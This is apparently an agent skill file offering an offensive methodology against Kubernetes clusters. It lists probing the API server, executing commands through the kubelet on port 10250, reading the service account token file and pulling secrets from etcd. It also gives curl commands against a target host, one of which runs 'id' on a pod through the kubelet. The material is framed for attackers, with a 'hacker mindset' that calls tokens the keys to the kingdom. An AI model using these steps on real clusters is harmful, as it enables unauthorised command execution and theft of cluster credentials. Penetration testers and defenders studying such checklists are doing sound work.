net-04-k8s
Installation
SKILL.md
Net 04 K8S — Offensive Methodology
Shortcut
- Probe K8s API on 6443/443: kubectl get nodes
- Check kubelet on 10250: authenticated exec
- Find service account tokens: /var/run/secrets/kubernetes.io/serviceaccount/token
- Check etcd on 2379 for cluster secrets
Hacker Mindset
K8s is an API, not a shell. Every kubectl command is an API call. If you can reach the API server, you can control the cluster. Service account tokens are the keys to the kingdom.
Detection
# API server
curl -k https://target.com:6443/api/v1/nodes
# Kubelet exec
curl -k https://target.com:10250/run/default/nginx/nginx -d "cmd=id"